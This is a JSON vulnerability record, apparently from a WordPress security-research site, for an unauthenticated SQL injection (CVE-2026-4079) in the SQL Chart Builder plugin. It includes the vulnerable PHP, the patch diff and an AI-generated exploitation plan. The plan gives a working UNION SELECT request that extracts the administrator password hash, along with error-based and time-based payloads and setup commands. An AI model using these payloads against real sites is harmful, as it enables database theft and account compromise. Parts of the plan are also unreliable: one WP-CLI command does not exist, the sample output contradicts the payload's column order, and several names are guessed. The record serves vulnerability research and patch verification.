[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fUs0q967lmIqs8weSV78NixVWXoj4pgIVkicBfk_uGr4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-4079","sql-chart-builder-unauthenticated-sql-injection","SQL Chart Builder \u003C 2.3.8 - Unauthenticated SQL Injection","The SQL Chart Builder plugin for WordPress is vulnerable to SQL Injection in versions up to 2.3.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","sql-chart-builder",null,"\u003C2.3.8","2.3.8","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-08 00:00:00","2026-04-13 20:56:38",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7365d3ba-e983-464e-9a15-90195a08290a?source=api-prod",6,[22,23,24],"functions.php","guaven_sqlcharts.php","readme.txt","researched",false,3,"This exploitation research plan details the methodology for verifying the unauthenticated SQL Injection vulnerability (CVE-2026-4079) in the SQL Chart Builder plugin.\n\n### 1. Vulnerability Summary\nThe SQL Chart Builder plugin (versions \u003C 2.3.8) is vulnerable to SQL Injection because it uses a custom template engine to replace placeholders (e.g., `{arg1}`, `{variable_name}`) within SQL queries with user-supplied input from `$_REQUEST`. This replacement is performed using simple string manipulation (likely `str_replace`) without applying `wpdb::prepare()` or `esc_sql()` to the incoming values. Consequently, an attacker can supply a malicious payload that \"breaks out\" of the intended query logic to execute arbitrary SQL commands.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `guaven_sqlcharts_get_data` (Unauthenticated)\n*   **Vulnerable Parameter:** Any parameter name that matches a placeholder defined in the chart's SQL query (e.g., `arg1`, `my_filter`).\n*   **Required Parameter:** `id` (The WordPress Post ID of the `gvn_schart` object).\n*   **Authentication:** None required (the action is registered via `wp_ajax_nopriv_`).\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with the action `guaven_sqlcharts_get_data`.\n2.  **Chart Loading:** The handler retrieves the `id` from the request and fetches the corresponding `gvn_schart` post from the database.\n3.  **SQL Template Retrieval:** The handler reads the SQL query template stored in the post's metadata (likely the `guaven_sqlcharts_sql` or `gvn_sql_code` meta key).\n4.  **Insecure Replacement:** The handler parses the SQL template for placeholders like `{...}`. For each placeholder, it looks for a corresponding key in `$_POST` or `$_GET`.\n5.  **Sink:** The handler performs a `str_replace` of the placeholder with the raw user input and then passes the resulting \"poisoned\" string directly to `$wpdb->get_results()`.\n\n### 4. Nonce Acquisition Strategy\nHistorically, the `guaven_sqlcharts_get_data` action in this plugin did not enforce nonce verification for frontend chart rendering to facilitate dynamic filters. However, if a nonce is required, it will be localized in the page source where a chart is displayed.\n\n**Strategy:**\n1.  Identify the JavaScript variable used for nonces. Based on `functions.php`, the plugin uses `guaven_sqlcharts_notice_dismissed` for some actions. For data fetching, look for a variable named `guaven_sqlcharts_ajax` or similar.\n2.  Create a test page containing the chart shortcode: `wp post create --post_type=page --post_status=publish --post_content='[gvn_schart_2 id=\"REPLACE_WITH_CHART_ID\"]'`.\n3.  Navigate to this page using `browser_navigate`.\n4.  Extract the nonce via `browser_eval`:\n    ```javascript\n    \u002F\u002F Inferred nonce location based on plugin naming conventions\n    window.guaven_sqlcharts_ajax?.nonce || window.gvn_sql_nonce\n    ```\n5.  If no nonce is found and the request fails with `-1`, audit the HTML for any hidden inputs or localized JS objects containing \"nonce\".\n\n### 5. Exploitation Strategy\nThe goal is to use a `UNION SELECT` to extract the administrator's password hash from the `wp_users` table.\n\n**Step 1: Setup the Target Chart**\nAn attacker needs a chart ID to target. Since we are in a controlled environment, we will create one with a known placeholder.\n\n**Step 2: Column Discovery**\nThe payload must match the number of columns in the original query. We will use `ORDER BY` to find this number.\n\n**Step 3: Data Extraction**\nOnce the column count is known, we use `UNION SELECT` to leak the `user_pass` for the user with `ID=1`.\n\n**HTTP Request (Example):**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: localhost\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=guaven_sqlcharts_get_data&id=[CHART_ID]&id_tag=0 UNION SELECT 1,user_pass,3,4 FROM wp_users WHERE ID=1-- -\n```\n*(Note: The parameter `id_tag` must match the placeholder `{id_tag}` in the SQL we define in step 6).*\n\n### 6. Test Data Setup\nPrepare the environment using WP-CLI to create a vulnerable chart entry.\n\n```bash\n# 1. Create the Chart Post\nCHART_ID=$(wp post create --post_type=gvn_schart --post_title=\"Sqli Test\" --post_status=publish --porcelain)\n\n# 2. Set the SQL Template Meta (Inferred meta keys: gvn_sql_code)\n# We use a placeholder {id_tag} which we will control via AJAX\nwp post primary-setup $CHART_ID --meta_input='{\"gvn_sql_code\": \"SELECT post_title, post_date, post_author, ID FROM wp_posts WHERE ID = {id_tag}\"}'\n\n# 3. Define the dynamic filter (Required for the plugin to recognize the tag)\n# Format: variable_name~default_value~label~type\nwp post meta set $CHART_ID gvn_sql_vars \"id_tag~1~ID~number\"\n\n# 4. Create a public page to view the chart (and potentially extract nonces)\nPAGE_ID=$(wp post create --post_type=page --post_title=\"Chart Page\" --post_status=publish --post_content=\"[gvn_schart_2 id=\\\"$CHART_ID\\\"]\" --porcelain)\n```\n\n### 7. Expected Results\nA successful exploit will return a JSON object where one of the fields contains the WordPress password hash (starting with `$P$` or `$wp$`).\n\n**Example Successful JSON Response:**\n```json\n[\n  {\n    \"post_title\": \"$P$Bv8J3...\", \n    \"post_date\": \"3\",\n    \"post_author\": \"4\",\n    \"ID\": \"1\"\n  }\n]\n```\n\n### 8. Verification Steps\nAfter performing the HTTP request, verify the leaked hash against the actual database:\n```bash\n# Verify the hash matches the one in the database\nwp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"\n```\n\n### 9. Alternative Approaches\n*   **Error-Based SQLi:** If the output is suppressed but errors are displayed (common if `WP_DEBUG` is on), use `updatexml()` or `extractvalue()`:\n    *   `id_tag=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)`\n*   **Time-Based Blind:** If neither `UNION` nor errors work, use `SLEEP()`:\n    *   `id_tag=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n*   **Parameter variations:** If `id_tag` doesn't work, try `arg1`, `arg2`, etc., as these are hardcoded defaults in some versions of the plugin's shortcode handler.","The SQL Chart Builder plugin is vulnerable to unauthenticated SQL Injection via the guaven_sqlcharts_get_data AJAX action. The vulnerability exists because the plugin uses string replacement to insert user-supplied input into SQL templates without applying wpdb::prepare() or esc_sql(), allowing attackers to manipulate queries and extract sensitive data.","\u002F\u002F functions.php around line 388\nif (!empty($_GET[$varfield_arr[0]])) $varreplacement=$_GET[$varfield_arr[0]]; else $varreplacement=$varfield_arr[1];\nif (!is_numeric($varreplacement) and strpos($varreplacement,'()')===false) $varreplacement='\"'.$varreplacement.'\"';\n\n$sql_initial=str_replace('{'.$varfield_arr[0].'}',$varreplacement,$sql_initial);","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsql-chart-builder\u002F2.3.7.2\u002Ffunctions.php\t2025-01-17 11:07:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsql-chart-builder\u002F2.3.8\u002Ffunctions.php\t2026-03-13 07:00:12.000000000 +0000\n@@ -385,8 +385,21 @@\n     $varfield_arr=explode(\"~\",$varfield);\n     if (count($varfield_arr)\u003C3) continue;\n     $varfield_arr=array_map(\"trim\",$varfield_arr);\n-    if (!empty($_GET[$varfield_arr[0]])) $varreplacement=$_GET[$varfield_arr[0]]; else $varreplacement=$varfield_arr[1];\n-    if (!is_numeric($varreplacement) and strpos($varreplacement,'()')===false) $varreplacement='\"'.$varreplacement.'\"';\n+    if (!empty($_GET[$varfield_arr[0]])) {\n+      \u002F\u002F User-supplied input: no () bypass allowed — sanitize strictly\n+      $varreplacement = sanitize_text_field(wp_unslash($_GET[$varfield_arr[0]]));\n+      if (is_numeric($varreplacement)) {\n+        $varreplacement = $varreplacement + 0;\n+      } else {\n+        $varreplacement = '\"' . esc_sql($varreplacement) . '\"';\n+      }\n+    } else {\n+      \u002F\u002F Admin-configured default value: allow () for SQL functions (e.g. NOW())\n+      $varreplacement = $varfield_arr[1];\n+      if (!is_numeric($varreplacement) && strpos($varreplacement,'()')===false) {\n+        $varreplacement = '\"' . esc_sql($varreplacement) . '\"';\n+      }\n+    }\n \n     $sql_initial=str_replace('{'.$varfield_arr[0].'}',$varreplacement,$sql_initial);\n   }\n@@ -471,6 +484,7 @@\n \n function guaven_sqlcharts_local_shortcode($atts) {\n     if(empty($atts['id']))return 'ID is missing.';\n+    $atts['id']=intval($atts['id']);\n     $remote_host=get_post_meta($atts['id'], 'guaven_sqlcharts_dbhost', true);\n     if ($remote_host!=''){\n       $remote_db=get_post_meta($atts['id'], 'guaven_sqlcharts_dbname', true);\n@@ -571,6 +585,7 @@\n \n add_shortcode(\"gvn_schart_2_cached\",function($atts){\n \tif(empty($atts[\"id\"]))return;\n+    $atts[\"id\"]=intval($atts[\"id\"]);\n     $is_logged_in=is_user_logged_in()?'':'_guest';\n     $expire=!empty($atts[\"expire\"])?intval($atts[\"expire\"]):3600;\n \t$cached=get_transient('cached_sql_charts_'.$atts[\"id\"].$is_logged_in);","An attacker first identifies the ID of a published chart and the names of any placeholders used in its SQL query (often visible in the frontend filters or shortcode parameters). They then send an unauthenticated POST or GET request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'guaven_sqlcharts_get_data' and the 'id' parameter set to the target chart ID. By providing a payload in the parameter matching the chart's placeholder, the attacker can break out of the intended query logic. For example, using a UNION SELECT payload, the attacker can extract sensitive information like WordPress user password hashes from the wp_users table, which the plugin will then return as a JSON response.","gemini-3-flash-preview","2026-04-17 20:08:56","2026-04-17 20:09:42",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","2.3.7.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsql-chart-builder\u002Ftags\u002F2.3.7.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsql-chart-builder.2.3.7.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsql-chart-builder\u002Ftags\u002F2.3.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsql-chart-builder.2.3.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsql-chart-builder\u002Ftags"]